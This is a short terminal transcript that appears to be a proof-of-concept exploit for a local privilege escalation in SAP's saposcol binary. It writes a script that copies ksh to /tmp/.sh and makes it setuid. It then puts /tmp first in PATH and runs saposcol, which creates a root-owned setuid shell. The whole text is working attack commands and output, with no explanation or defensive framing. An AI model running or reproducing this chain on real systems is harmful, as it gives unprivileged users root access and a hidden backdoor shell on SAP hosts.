user@jupiter:~$ cat /tmp/expand
#!/bin/sh
cp /usr/bin/ksh /tmp/.sh
chmod 4755 /tmp/.sh
user@jupiter:~$ ls -l /tmp/.sh
ls: /tmp/.sh: No such file or directory
user@jupiter:~$ export PATH=/tmp:$PATH
user@jupiter:~$ /usr/sap/WAS/SYS/exe/run/saposcol
Starting collector (create new process)
user@jupiter:~$ ls -l /tmp/.sh
-rwsr-xr-x 1 root sapdb   162448   Apr 9 21:00 /tmp/.sh